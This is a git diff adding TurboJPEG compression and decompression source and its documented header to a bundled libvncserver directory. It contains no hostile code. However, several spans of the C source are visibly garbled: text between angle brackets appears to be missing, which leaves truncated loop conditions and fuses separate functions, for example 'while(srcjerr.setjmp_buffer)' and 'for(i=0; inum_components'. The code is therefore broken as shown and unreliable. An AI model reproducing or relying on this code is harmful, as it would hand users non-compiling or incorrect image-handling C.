case TJPF_ARGB: + case TJPF_ABGR: + dinfo->out_color_space=JCS_RGB; break; + #endif + default: + _throw("Unsupported pixel format"); + } + + bailout: + return retval; +} + + +static int getSubsamp(j_decompress_ptr dinfo) +{ + int retval=-1, i, k; + for(i=0; inum_components==pixelsize[i]) + { + if(dinfo->comp_info[0].h_samp_factor==tjMCUWidth[i]/8 + && dinfo->comp_info[0].v_samp_factor==tjMCUHeight[i]/8) + { + int match=0; + for(k=1; knum_components; k++) + { + if(dinfo->comp_info[k].h_samp_factor==1 + && dinfo->comp_info[k].v_samp_factor==1) + match++; + } + if(match==dinfo->num_components-1) + { + retval=i; break; + } + } + } + } + return retval; +} + + +#ifndef JCS_EXTENSIONS + +/* Conversion functions to emulate the colorspace extensions. This allows the + TurboJPEG wrapper to be used with libjpeg */ + +#define TORGB(PS, ROFFSET, GOFFSET, BOFFSET) { \ + int rowPad=pitch-width*PS; \ + while(height--) \ + { \ + unsigned char *endOfRow=src+width*PS; \ + while(srcjerr.setjmp_buffer)) return -1; + if(this->init&COMPRESS) jpeg_destroy_compress(cinfo); + if(this->init&DECOMPRESS) jpeg_destroy_decompress(dinfo); + free(this); + return 0; +} + + +/* Compressor */ + +static boolean empty_output_buffer(j_compress_ptr cinfo) +{ + ERREXIT(cinfo, JERR_BUFFER_SIZE); + return TRUE; +} + +static void dst_noop(j_compress_ptr cinfo) +{ +} + +static tjhandle _tjInitCompress(tjinstance *this) +{ + /* This is also straight out of example.c */ + this->cinfo.err=jpeg_std_error(&this->jerr.pub); + this->jerr.pub.error_exit=my_error_exit; + this->jerr.pub.output_message=my_output_message; + + if(setjmp(this->jerr.setjmp_buffer)) + { + /* If we get here, the JPEG code has signaled an error. */ + if(this) free(this); + return NULL; + } + + jpeg_create_compress(&this->cinfo); + this->cinfo.dest=&this->jdst; + this->jdst.init_destination=dst_noop; + this->jdst.empty_output_buffer=empty_output_buffer; + this->jdst.term_destination=dst_noop; + + this->init|=COMPRESS; + return (tjhandle)this; +} + +DLLEXPORT tjhandle DLLCALL tjInitCompress(void) +{ + tjinstance *this=NULL; + if((this=(tjinstance *)malloc(sizeof(tjinstance)))==NULL) + { + snprintf(errStr, JMSG_LENGTH_MAX, + "tjInitCompress(): Memory allocation failure"); + return NULL; + } + MEMZERO(this, sizeof(tjinstance)); + return _tjInitCompress(this); +} + + +DLLEXPORT unsigned long DLLCALL tjBufSize(int width, int height, + int jpegSubsamp) +{ + unsigned long retval=0; int mcuw, mcuh, chromasf; + if(width<1 || height<1 || jpegSubsamp<0 || jpegSubsamp>=NUMSUBOPT) + _throw("tjBufSize(): Invalid argument"); + + /* + * This allows for rare corner cases in which a JPEG image can actually be + * larger than the uncompressed input (we wouldn't mention it if it hadn't + * happened before.) + */ + mcuw=tjMCUWidth[jpegSubsamp]; + mcuh=tjMCUHeight[jpegSubsamp]; + chromasf=jpegSubsamp==TJSAMP_GRAY? 0: 4*64/(mcuw*mcuh); + retval=PAD(width, mcuw) * PAD(height, mcuh) * (2 + chromasf) + 2048; + + bailout: + return retval; +} + + +DLLEXPORT unsigned long DLLCALL TJBUFSIZE(int width, int height) +{ + unsigned long retval=0; + if(width<1 || height<1) + _throw("TJBUFSIZE(): Invalid argument"); + + /* + * This allows for rare corner cases in which a JPEG image can actually be + * larger than the uncompressed input (we wouldn't mention it if it hadn't + * happened before.) + */ + retval=PAD(width, 16) * PAD(height, 16) * 6 + 2048; + + bailout: + return retval; +} + + +DLLEXPORT int DLLCALL tjCompress2(tjhandle handle, unsigned char *srcBuf, + int width, int pitch, int height, int pixelFormat, unsigned char **jpegBuf, + unsigned long *jpegSize, int jpegSubsamp, int jpegQual, int flags) +{ + int i, retval=0; JSAMPROW *row_pointer=NULL; + #ifndef JCS_EXTENSIONS + unsigned char *rgbBuf=NULL; + #endif + + getinstance(handle) + if((this->init&COMPRESS)==0) + _throw("tjCompress2(): Instance has not been initialized for compression"); + + if(srcBuf==NULL || width<=0 || pitch<0 || height<=0 || pixelFormat<0 + || pixelFormat>=TJ_NUMPF || jpegBuf==NULL || jpegSize==NULL + || jpegSubsamp<0 || jpegSubsamp>=NUMSUBOPT || jpegQual<0 || jpegQual>100) + _throw("tjCompress2(): Invalid argument"); + + if(setjmp(this->jerr.setjmp_buffer)) + { + /* If we get here, the JPEG code has signaled an error. */ + retval=-1; + goto bailout; + } + + if(pitch==0) pitch=width*tjPixelSize[pixelFormat]; + + #ifndef JCS_EXTENSIONS + if(pixelFormat!=TJPF_GRAY) + { + rgbBuf=(unsigned char *)malloc(width*height*RGB_PIXELSIZE); + if(!rgbBuf) _throw("tjCompress2(): Memory allocation failure"); + srcBuf=toRGB(srcBuf, width, pitch, height, pixelFormat, rgbBuf); + pitch=width*RGB_PIXELSIZE; + } + #endif + + cinfo->image_width=width; + cinfo->image_height=height; + + if(flags&TJFLAG_FORCEMMX) putenv("JSIMD_FORCEMMX=1"); + else if(flags&TJFLAG_FORCESSE) putenv("JSIMD_FORCESSE=1"); + else if(flags&TJFLAG_FORCESSE2) putenv("JSIMD_FORCESSE2=1"); + + if(setCompDefaults(cinfo, pixelFormat, jpegSubsamp, jpegQual)==-1) + return -1; + + this->jdst.next_output_byte=*jpegBuf; + this->jdst.free_in_buffer=tjBufSize(width, height, jpegSubsamp); + + jpeg_start_compress(cinfo, TRUE); + if((row_pointer=(JSAMPROW *)malloc(sizeof(JSAMPROW)*height))==NULL) + _throw("tjCompress2(): Memory allocation failure"); + for(i=0; inext_scanlineimage_height) + { + jpeg_write_scanlines(cinfo, &row_pointer[cinfo->next_scanline], + cinfo->image_height-cinfo->next_scanline); + } + jpeg_finish_compress(cinfo); + *jpegSize=tjBufSize(width, height, jpegSubsamp) + -(unsigned long)(this->jdst.free_in_buffer); + + bailout: + if(cinfo->global_state>CSTATE_START) jpeg_abort_compress(cinfo); + #ifndef JCS_EXTENSIONS + if(rgbBuf) free(rgbBuf); + #endif + if(row_pointer) free(row_pointer); + return retval; +} + +DLLEXPORT int DLLCALL tjCompress(tjhandle handle, unsigned char *srcBuf, + int width, int pitch, int height, int pixelSize, unsigned char *jpegBuf, + unsigned long *jpegSize, int jpegSubsamp, int jpegQual, int flags) +{ + int retval=0; unsigned long size; + retval=tjCompress2(handle, srcBuf, width, pitch, height, + getPixelFormat(pixelSize, flags), &jpegBuf, &size, jpegSubsamp, jpegQual, + flags); + *jpegSize=size; + return retval; +} + + +/* Decompressor */ + +static boolean fill_input_buffer(j_decompress_ptr dinfo) +{ + ERREXIT(dinfo, JERR_BUFFER_SIZE); + return TRUE; +} + +static void skip_input_data(j_decompress_ptr dinfo, long num_bytes) +{ + dinfo->src->next_input_byte += (size_t) num_bytes; + dinfo->src->bytes_in_buffer -= (size_t) num_bytes; +} + +static void src_noop(j_decompress_ptr dinfo) +{ +} + +static tjhandle _tjInitDecompress(tjinstance *this) +{ + /* This is also straight out of example.c */ + this->dinfo.err=jpeg_std_error(&this->jerr.pub); + this->jerr.pub.error_exit=my_error_exit; + this->jerr.pub.output_message=my_output_message; + + if(setjmp(this->jerr.setjmp_buffer)) + { + /* If we get here, the JPEG code has signaled an error. */ + if(this) free(this); + return NULL; + } + + jpeg_create_decompress(&this->dinfo); + this->dinfo.src=&this->jsrc; + this->jsrc.init_source=src_noop; + this->jsrc.fill_input_buffer=fill_input_buffer; + this->jsrc.skip_input_data=skip_input_data; + this->jsrc.resync_to_restart=jpeg_resync_to_restart; + this->jsrc.term_source=src_noop; + + this->init|=DECOMPRESS; + return (tjhandle)this; +} + +DLLEXPORT tjhandle DLLCALL tjInitDecompress(void) +{ + tjinstance *this; + if((this=(tjinstance *)malloc(sizeof(tjinstance)))==NULL) + { + snprintf(errStr, JMSG_LENGTH_MAX, + "tjInitDecompress(): Memory allocation failure"); + return NULL; + } + MEMZERO(this, sizeof(tjinstance)); + return _tjInitDecompress(this); +} + + +DLLEXPORT int DLLCALL tjDecompressHeader2(tjhandle handle, + unsigned char *jpegBuf, unsigned long jpegSize, int *width, int *height, + int *jpegSubsamp) +{ + int retval=0; + + getinstance(handle); + if((this->init&DECOMPRESS)==0) + _throw("tjDecompressHeader2(): Instance has not been initialized for decompression"); + + if(jpegBuf==NULL || jpegSize<=0 || width==NULL || height==NULL + || jpegSubsamp==NULL) + _throw("tjDecompressHeader2(): Invalid argument"); + + if(setjmp(this->jerr.setjmp_buffer)) + { + /* If we get here, the JPEG code has signaled an error. */ + return -1; + } + + this->jsrc.bytes_in_buffer=jpegSize; + this->jsrc.next_input_byte=jpegBuf; + jpeg_read_header(dinfo, TRUE); + + *width=dinfo->image_width; + *height=dinfo->image_height; + *jpegSubsamp=getSubsamp(dinfo); + + jpeg_abort_decompress(dinfo); + + if(*jpegSubsamp<0) + _throw("tjDecompressHeader2(): Could not determine subsampling type for JPEG image"); + if(*width<1 || *height<1) + _throw("tjDecompressHeader2(): Invalid data returned in header"); + + bailout: + return retval; +} + +DLLEXPORT int DLLCALL tjDecompressHeader(tjhandle handle, + unsigned char *jpegBuf, unsigned long jpegSize, int *width, int *height) +{ + int jpegSubsamp; + return tjDecompressHeader2(handle, jpegBuf, jpegSize, width, height, + &jpegSubsamp); +} + + +DLLEXPORT tjscalingfactor* DLLCALL tjGetScalingFactors(int *numscalingfactors) +{ + if(numscalingfactors==NULL) + { + snprintf(errStr, JMSG_LENGTH_MAX, + "tjGetScalingFactors(): Invalid argument"); + return NULL; + } + + *numscalingfactors=NUMSF; + return (tjscalingfactor *)sf; +} + + +DLLEXPORT int DLLCALL tjDecompress2(tjhandle handle, unsigned char *jpegBuf, + unsigned long jpegSize, unsigned char *dstBuf, int width, int pitch, + int height, int pixelFormat, int flags) +{ + int i, retval=0; JSAMPROW *row_pointer=NULL; + int jpegwidth, jpegheight, scaledw, scaledh; + #ifndef JCS_EXTENSIONS + unsigned char *rgbBuf=NULL; + unsigned char *_dstBuf=NULL; int _pitch=0; + #endif + + getinstance(handle); + if((this->init&DECOMPRESS)==0) + _throw("tjDecompress2(): Instance has not been initialized for decompression"); + + if(jpegBuf==NULL || jpegSize<=0 || dstBuf==NULL || width<0 || pitch<0 + || height<0 || pixelFormat<0 || pixelFormat>=TJ_NUMPF) + _throw("tjDecompress2(): Invalid argument"); + + if(flags&TJFLAG_FORCEMMX) putenv("JSIMD_FORCEMMX=1"); + else if(flags&TJFLAG_FORCESSE) putenv("JSIMD_FORCESSE=1"); + else if(flags&TJFLAG_FORCESSE2) putenv("JSIMD_FORCESSE2=1"); + + if(setjmp(this->jerr.setjmp_buffer)) + { + /* If we get here, the JPEG code has signaled an error. */ + retval=-1; + goto bailout; + } + + this->jsrc.bytes_in_buffer=jpegSize; + this->jsrc.next_input_byte=jpegBuf; + jpeg_read_header(dinfo, TRUE); + if(setDecompDefaults(dinfo, pixelFormat)==-1) + { + retval=-1; goto bailout; + } + + if(flags&TJFLAG_FASTUPSAMPLE) dinfo->do_fancy_upsampling=FALSE; + + jpegwidth=dinfo->image_width; jpegheight=dinfo->image_height; + if(width==0) width=jpegwidth; + if(height==0) height=jpegheight; + for(i=0; iwidth || scaledh>height) + _throw("tjDecompress2(): Could not scale down to desired image dimensions"); + width=scaledw; height=scaledh; + dinfo->scale_num=sf[i].num; + dinfo->scale_denom=sf[i].denom; + + jpeg_start_decompress(dinfo); + if(pitch==0) pitch=dinfo->output_width*tjPixelSize[pixelFormat]; + + #ifndef JCS_EXTENSIONS + if(pixelFormat!=TJPF_GRAY && + (RGB_RED!=tjRedOffset[pixelFormat] || + RGB_GREEN!=tjGreenOffset[pixelFormat] || + RGB_BLUE!=tjBlueOffset[pixelFormat] || + RGB_PIXELSIZE!=tjPixelSize[pixelFormat])) + { + rgbBuf=(unsigned char *)malloc(width*height*3); + if(!rgbBuf) _throw("tjDecompress2(): Memory allocation failure"); + _pitch=pitch; pitch=width*3; + _dstBuf=dstBuf; dstBuf=rgbBuf; + } + #endif + + if((row_pointer=(JSAMPROW *)malloc(sizeof(JSAMPROW) + *dinfo->output_height))==NULL) + _throw("tjDecompress2(): Memory allocation failure"); + for(i=0; i<(int)dinfo->output_height; i++) + { + if(flags&TJFLAG_BOTTOMUP) + row_pointer[i]=&dstBuf[(dinfo->output_height-i-1)*pitch]; + else row_pointer[i]=&dstBuf[i*pitch]; + } + while(dinfo->output_scanlineoutput_height) + { + jpeg_read_scanlines(dinfo, &row_pointer[dinfo->output_scanline], + dinfo->output_height-dinfo->output_scanline); + } + jpeg_finish_decompress(dinfo); + + #ifndef JCS_EXTENSIONS + fromRGB(rgbBuf, _dstBuf, width, _pitch, height, pixelFormat); + #endif + + bailout: + if(dinfo->global_state>DSTATE_START) jpeg_abort_decompress(dinfo); + #ifndef JCS_EXTENSIONS + if(rgbBuf) free(rgbBuf); + #endif + if(row_pointer) free(row_pointer); + return retval; +} + +DLLEXPORT int DLLCALL tjDecompress(tjhandle handle, unsigned char *jpegBuf, + unsigned long jpegSize, unsigned char *dstBuf, int width, int pitch, + int height, int pixelSize, int flags) +{ + return tjDecompress2(handle, jpegBuf, jpegSize, dstBuf, width, pitch, + height, getPixelFormat(pixelSize, flags), flags); +} diff --git a/3rdparty/libvncserver/common/turbojpeg.h b/3rdparty/libvncserver/common/turbojpeg.h new file mode 100644 index 0000000..ab8adda --- /dev/null +++ b/3rdparty/libvncserver/common/turbojpeg.h @@ -0,0 +1,529 @@ +/* + * Copyright (C)2009-2012 D. R. Commander. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef __TURBOJPEG_H__ +#define __TURBOJPEG_H__ + +#if defined(_WIN32) && defined(DLLDEFINE) +#define DLLEXPORT __declspec(dllexport) +#else +#define DLLEXPORT +#endif +#define DLLCALL + + +/** + * @addtogroup TurboJPEG Lite + * TurboJPEG API. This API provides an interface for generating and decoding + * JPEG images in memory. + * + * @{ + */ + + +/** + * The number of chrominance subsampling options + */ +#define TJ_NUMSAMP 5 + +/** + * Chrominance subsampling options. + * When an image is converted from the RGB to the YCbCr colorspace as part of + * the JPEG compression process, some of the Cb and Cr (chrominance) components + * can be discarded or averaged together to produce a smaller image with little + * perceptible loss of image clarity (the human eye is more sensitive to small + * changes in brightness than small changes in color.) This is called + * "chrominance subsampling". + */ +enum TJSAMP +{ + /** + * 4:4:4 chrominance subsampling (no chrominance subsampling). The JPEG or + * YUV image will contain one chrominance component for every pixel in the + * source image. + */ + TJSAMP_444=0, + /** + * 4:2:2 chrominance subsampling. The JPEG or YUV image will contain one + * chrominance component for every 2x1 block of pixels in the source image. + */ + TJSAMP_422, + /** + * 4:2:0 chrominance subsampling. The JPEG or YUV image will contain one + * chrominance component for every 2x2 block of pixels in the source image. + */ + TJSAMP_420, + /** + * Grayscale. The JPEG or YUV image will contain no chrominance components. + */ + TJSAMP_GRAY, + /** + * 4:4:0 chrominance subsampling. The JPEG or YUV image will contain one + * chrominance component for every 1x2 block of pixels in the source image. + */ + TJSAMP_440 +}; + +/** + * MCU block width (in pixels) for a given level of chrominance subsampling. + * MCU block sizes: + * - 8x8 for no subsampling or grayscale + * - 16x8 for 4:2:2 + * - 8x16 for 4:4:0 + * - 16x16 for 4:2:0 + */ +static const int tjMCUWidth[TJ_NUMSAMP] = {8, 16, 16, 8, 8}; + +/** + * MCU block height (in pixels) for a given level of chrominance subsampling. + * MCU block sizes: + * - 8x8 for no subsampling or grayscale + * - 16x8 for 4:2:2 + * - 8x16 for 4:4:0 + * - 16x16 for 4:2:0 + */ +static const int tjMCUHeight[TJ_NUMSAMP] = {8, 8, 16, 8, 16}; + + +/** + * The number of pixel formats + */ +#define TJ_NUMPF 11 + +/** + * Pixel formats + */ +enum TJPF +{ + /** + * RGB pixel format. The red, green, and blue components in the image are + * stored in 3-byte pixels in the order R, G, B from lowest to highest byte + * address within each pixel. + */ + TJPF_RGB=0, + /** + * BGR pixel format. The red, green, and blue components in the image are + * stored in 3-byte pixels in the order B, G, R from lowest to highest byte + * address within each pixel. + */ + TJPF_BGR, + /** + * RGBX pixel format. The red, green, and blue components in the image are + * stored in 4-byte pixels in the order R, G, B from lowest to highest byte + * address within each pixel. The X component is ignored when compressing + * and undefined when decompressing. + */ + TJPF_RGBX, + /** + * BGRX pixel format. The red, green, and blue components in the image are + * stored in 4-byte pixels in the order B, G, R from lowest to highest byte + * address within each pixel. The X component is ignored when compressing + * and undefined when decompressing. + */ + TJPF_BGRX, + /** + * XBGR pixel format. The red, green, and blue components in the image are + * stored in 4-byte pixels in the order R, G, B from highest to lowest byte + * address within each pixel. The X component is ignored when compressing + * and undefined when decompressing. + */ + TJPF_XBGR, + /** + * XRGB pixel format. The red, green, and blue components in the image are + * stored in 4-byte pixels in the order B, G, R from highest to lowest byte + * address within each pixel. The X component is ignored when compressing + * and undefined when decompressing. + */ + TJPF_XRGB, + /** + * Grayscale pixel format. Each 1-byte pixel represents a luminance + * (brightness) level from 0 to 255. + */ + TJPF_GRAY, + /** + * RGBA pixel format. This is the same as @ref TJPF_RGBX, except that when + * decompressing, the X component is guaranteed to be 0xFF, which can be + * interpreted as an opaque alpha channel. + */ + TJPF_RGBA, + /** + * BGRA pixel format. This is the same as @ref TJPF_BGRX, except that when + * decompressing, the X component is guaranteed to be 0xFF, which can be + * interpreted as an opaque alpha channel. + */ + TJPF_BGRA, + /** + * ABGR pixel format. This is the same as @ref TJPF_XBGR, except that when + * decompressing, the X component is guaranteed to be 0xFF, which can be + * interpreted as an opaque alpha channel. + */ + TJPF_ABGR, + /** + * ARGB pixel format. This is the same as @ref TJPF_XRGB, except that when + * decompressing, the X component is guaranteed to be 0xFF, which can be + * interpreted as an opaque alpha channel. + */ + TJPF_ARGB +}; + +/** + * Red offset (in bytes) for a given pixel format. This specifies the number + * of bytes that the red component is offset from the start of the pixel. For + * instance, if a pixel of format TJ_BGRX is stored in char pixel[], + * then the red component will be pixel[tjRedOffset[TJ_BGRX]]. + */ +static const int tjRedOffset[TJ_NUMPF] = {0, 2, 0, 2, 3, 1, 0, 0, 2, 3, 1}; +/** + * Green offset (in bytes) for a given pixel format. This specifies the number + * of bytes that the green component is offset from the start of the pixel. + * For instance, if a pixel of format TJ_BGRX is stored in + * char pixel[], then the green component will be + * pixel[tjGreenOffset[TJ_BGRX]]. + */ +static const int tjGreenOffset[TJ_NUMPF] = {1, 1, 1, 1, 2, 2, 0, 1, 1, 2, 2}; +/** + * Blue offset (in bytes) for a given pixel format. This specifies the number + * of bytes that the Blue component is offset from the start of the pixel. For + * instance, if a pixel of format TJ_BGRX is stored in char pixel[], + * then the blue component will be pixel[tjBlueOffset[TJ_BGRX]]. + */ +static const int tjBlueOffset[TJ_NUMPF] = {2, 0, 2, 0, 1, 3, 0, 2, 0, 1, 3}; + +/** + * Pixel size (in bytes) for a given pixel format. + */ +static const int tjPixelSize[TJ_NUMPF] = {3, 3, 4, 4, 4, 4, 1, 4, 4, 4, 4}; + + +/** + * The uncompressed source/destination image is stored in bottom-up (Windows, + * OpenGL) order, not top-down (X11) order. + */ +#define TJFLAG_BOTTOMUP 2 +/** + * Turn off CPU auto-detection and force TurboJPEG to use MMX code (IPP and + * 32-bit libjpeg-turbo versions only.) + */ +#define TJFLAG_FORCEMMX 8 +/** + * Turn off CPU auto-detection and force TurboJPEG to use SSE code (32-bit IPP + * and 32-bit libjpeg-turbo versions only) + */ +#define TJFLAG_FORCESSE 16 +/** + * Turn off CPU auto-detection and force TurboJPEG to use SSE2 code (32-bit IPP + * and 32-bit libjpeg-turbo versions only) + */ +#define TJFLAG_FORCESSE2 32 +/** + * Turn off CPU auto-detection and force TurboJPEG to use SSE3 code (64-bit IPP + * version only) + */ +#define TJFLAG_FORCESSE3 128 +/** + * Use fast, inaccurate chrominance upsampling routines in the JPEG + * decompressor (libjpeg and libjpeg-turbo versions only) + */ +#define TJFLAG_FASTUPSAMPLE 256 + + +/** + * Scaling factor + */ +typedef struct +{ + /** + * Numerator + */ + int num; + /** + * Denominator + */ + int denom; +} tjscalingfactor; + + +/** + * TurboJPEG instance handle + */ +typedef void* tjhandle; + + +/** + * Pad the given width to the nearest 32-bit boundary + */ +#define TJPAD(width) (((width)+3)&(~3)) + +/** + * Compute the scaled value of dimension using the given scaling + * factor. This macro performs the integer equivalent of ceil(dimension * + * scalingFactor). + */ +#define TJSCALED(dimension, scalingFactor) ((dimension * scalingFactor.num \ + + scalingFactor.denom - 1) / scalingFactor.denom) + + +#ifdef __cplusplus +extern "C" { +#endif + + +/** + * Create a TurboJPEG compressor instance. + * + * @return a handle to the newly-created instance, or NULL if an error + * occurred (see #tjGetErrorStr().) + */ +DLLEXPORT tjhandle DLLCALL tjInitCompress(void); + + +/** + * Compress an RGB or grayscale image into a JPEG image. + * + * @param handle a handle to a TurboJPEG compressor or transformer instance + * @param srcBuf pointer to an image buffer containing RGB or grayscale pixels + * to be compressed + * @param width width (in pixels) of the source image + * @param pitch bytes per line of the source image. Normally, this should be + * width * #tjPixelSize[pixelFormat] if the image is unpadded, + * or #TJPAD(width * #tjPixelSize[pixelFormat]) if each line of + * the image is padded to the nearest 32-bit boundary, as is the case + * for Windows bitmaps. You can also be clever and use this parameter + * to skip lines, etc. Setting this parameter to 0 is the equivalent of + * setting it to width * #tjPixelSize[pixelFormat]. + * @param height height (in pixels) of the source image + * @param pixelFormat pixel format of the source image (see @ref TJPF + * "Pixel formats".) + * @param jpegBuf address of a pointer to an image buffer that will receive the + * JPEG image. TurboJPEG has the ability to reallocate the JPEG buffer + * to accommodate the size of the JPEG image. Thus, you can choose to: + * -# pre-allocate the JPEG buffer with an arbitrary size using + * #tjAlloc() and let TurboJPEG grow the buffer as needed, + * -# set *jpegBuf to NULL to tell TurboJPEG to allocate the + * buffer for you, or + * -# pre-allocate the buffer to a "worst case" size determined by + * calling #tjBufSize(). This should ensure that the buffer never has + * to be re-allocated (setting #TJFLAG_NOREALLOC guarantees this.) + * . + * If you choose option 1, *jpegSize should be set to the + * size of your pre-allocated buffer. In any case, unless you have + * set #TJFLAG_NOREALLOC, you should always check *jpegBuf upon + * return from this function, as it may have changed. + * @param jpegSize pointer to an unsigned long variable that holds the size of + * the JPEG image buffer. If *jpegBuf points to a + * pre-allocated buffer, then *jpegSize should be set to the + * size of the buffer. Upon return, *jpegSize will contain the + * size of the JPEG image (in bytes.) + * @param jpegSubsamp the level of chrominance subsampling to be used when + * generating the JPEG image (see @ref TJSAMP + * "Chrominance subsampling options".) + * @param jpegQual the image quality of the generated JPEG image (1 = worst, + 100 = best) + * @param flags the bitwise OR of one or more of the @ref TJFLAG_BOTTOMUP + * "flags". + * + * @return 0 if successful, or -1 if an error occurred (see #tjGetErrorStr().) +*/ +DLLEXPORT int DLLCALL tjCompress2(tjhandle handle, unsigned char *srcBuf, + int width, int pitch, int height, int pixelFormat, unsigned char **jpegBuf, + unsigned long *jpegSize, int jpegSubsamp, int jpegQual, int flags); + + +/** + * The maximum size of the buffer (in bytes) required to hold a JPEG image with + * the given parameters. The number of bytes returned by this function is + * larger than the size of the uncompressed source image. The reason for this + * is that the JPEG format uses 16-bit coefficients, and it is thus possible + * for a very high-quality JPEG image with very high frequency content to + * expand rather than compress when converted to the JPEG format. Such images + * represent a very rare corner case, but since there is no way to predict the + * size of a JPEG image prior to compression, the corner case has to be + * handled. + * + * @param width width of the image (in pixels) + * @param height height of the image (in pixels) + * @param jpegSubsamp the level of chrominance subsampling to be used when + * generating the JPEG image (see @ref TJSAMP + * "Chrominance subsampling options".) + * + * @return the maximum size of the buffer (in bytes) required to hold the + * image, or -1 if the arguments are out of bounds. + */ +DLLEXPORT unsigned long DLLCALL tjBufSize(int width, int height, + int jpegSubsamp); + + +/** + * Create a TurboJPEG decompressor instance. + * + * @return a handle to the newly-created instance, or NULL if an error + * occurred (see #tjGetErrorStr().) +*/ +DLLEXPORT tjhandle DLLCALL tjInitDecompress(void); + + +/** + * Retrieve information about a JPEG image without decompressing it. + * + * @param handle a handle to a TurboJPEG decompressor or transformer instance + * @param jpegBuf pointer to a buffer containing a JPEG image + * @param jpegSize size of the JPEG image (in bytes) + * @param width pointer to an integer variable that will receive the width (in + * pixels) of the JPEG image + * @param height pointer to an integer variable that will receive the height + * (in pixels) of the JPEG image + * @param jpegSubsamp pointer to an integer variable that will receive the + * level of chrominance subsampling used when compressing the JPEG image + * (see @ref TJSAMP "Chrominance subsampling options".) + * + * @return 0 if successful, or -1 if an error occurred (see #tjGetErrorStr().) +*/ +DLLEXPORT int DLLCALL tjDecompressHeader2(tjhandle handle, + unsigned char *jpegBuf, unsigned long jpegSize, int *width, int *height, + int *jpegSubsamp); + + +/** + * Returns a list of fractional scaling factors that the JPEG decompressor in + * this implementation of TurboJPEG supports. + * + * @param numscalingfactors pointer to an integer variable that will receive + * the number of elements in the list + * + * @return a pointer to a list of fractional scaling factors, or NULL if an + * error is encountered (see #tjGetErrorStr().) +*/ +DLLEXPORT tjscalingfactor* DLLCALL tjGetScalingFactors(int *numscalingfactors); + + +/** + * Decompress a JPEG image to an RGB or grayscale image. + * + * @param handle a handle to a TurboJPEG decompressor or transformer instance + * @param jpegBuf pointer to a buffer containing the JPEG image to decompress + * @param jpegSize size of the JPEG image (in bytes) + * @param dstBuf pointer to an image buffer that will receive the decompressed + * image. This buffer should normally be pitch * scaledHeight + * bytes in size, where scaledHeight can be determined by + * calling #TJSCALED() with the JPEG image height and one of the scaling + * factors returned by #tjGetScalingFactors(). The dstBuf pointer may + * also be used to decompress into a specific region of a larger buffer. + * @param width desired width (in pixels) of the destination image. If this is + * smaller than the width of the JPEG image being decompressed, then + * TurboJPEG will use scaling in the JPEG decompressor to generate the + * largest possible image that will fit within the desired width. If + * width is set to 0, then only the height will be considered when + * determining the scaled image size. + * @param pitch bytes per line of the destination image. Normally, this is + * scaledWidth * #tjPixelSize[pixelFormat] if the decompressed + * image is unpadded, else #TJPAD(scaledWidth * + * #tjPixelSize[pixelFormat]) if each line of the decompressed + * image is padded to the nearest 32-bit boundary, as is the case for + * Windows bitmaps. (NOTE: scaledWidth can be determined by + * calling #TJSCALED() with the JPEG image width and one of the scaling + * factors returned by #tjGetScalingFactors().) You can also be clever + * and use the pitch parameter to skip lines, etc. Setting this + * parameter to 0 is the equivalent of setting it to scaledWidth + * * #tjPixelSize[pixelFormat]. + * @param height desired height (in pixels) of the destination image. If this + * is smaller than the height of the JPEG image being decompressed, then + * TurboJPEG will use scaling in the JPEG decompressor to generate the + * largest possible image that will fit within the desired height. If + * height is set to 0, then only the width will be considered when + * determining the scaled image size. + * @param pixelFormat pixel format of the destination image (see @ref + * TJPF "Pixel formats".) + * @param flags the bitwise OR of one or more of the @ref TJFLAG_BOTTOMUP + * "flags". + * + * @return 0 if successful, or -1 if an error occurred (see #tjGetErrorStr().) + */ +DLLEXPORT int DLLCALL tjDecompress2(tjhandle handle, + unsigned char *jpegBuf, unsigned long jpegSize, unsigned char *dstBuf, + int width, int pitch, int height, int pixelFormat, int flags); + + +/** + * Destroy a TurboJPEG compressor, decompressor, or transformer instance. + * + * @param handle a handle to a TurboJPEG compressor, decompressor or + * transformer instance + * + * @return 0 if successful, or -1 if an error occurred (see #tjGetErrorStr().) + */ +DLLEXPORT int DLLCALL tjDestroy(tjhandle handle); + + +/** + * Returns a descriptive error message explaining why the last command failed. + * + * @return a descriptive error message explaining why the last command failed. + */ +DLLEXPORT char* DLLCALL tjGetErrorStr(void); + + +/* Backward compatibility functions and macros (nothing to see here) */ +#define NUMSUBOPT TJ_NUMSAMP +#define TJ_444 TJSAMP_444 +#define TJ_422 TJSAMP_422 +#define TJ_420 TJSAMP_420 +#define TJ_411 TJSAMP_420 +#define TJ_GRAYSCALE TJSAMP_GRAY + +#define TJ_BGR 1 +#define TJ_BOTTOMUP TJFLAG_BOTTOMUP +#define TJ_FORCEMMX TJFLAG_FORCEMMX +#define TJ_FORCESSE TJFLAG_FORCESSE +#define TJ_FORCESSE2 TJFLAG_FORCESSE2 +#define TJ_ALPHAFIRST 64 +#define TJ_FORCESSE3 TJFLAG_FORCESSE3 +#define TJ_FASTUPSAMPLE TJFLAG_FASTUPSAMPLE + +DLLEXPORT unsigned long DLLCALL TJBUFSIZE(int width, int height); + +DLLEXPORT int DLLCALL tjCompress(tjhandle handle, unsigned char *srcBuf, + int width, int pitch, int height, int pixelSize, unsigned char *dstBuf, + unsigned long *compressedSize, int 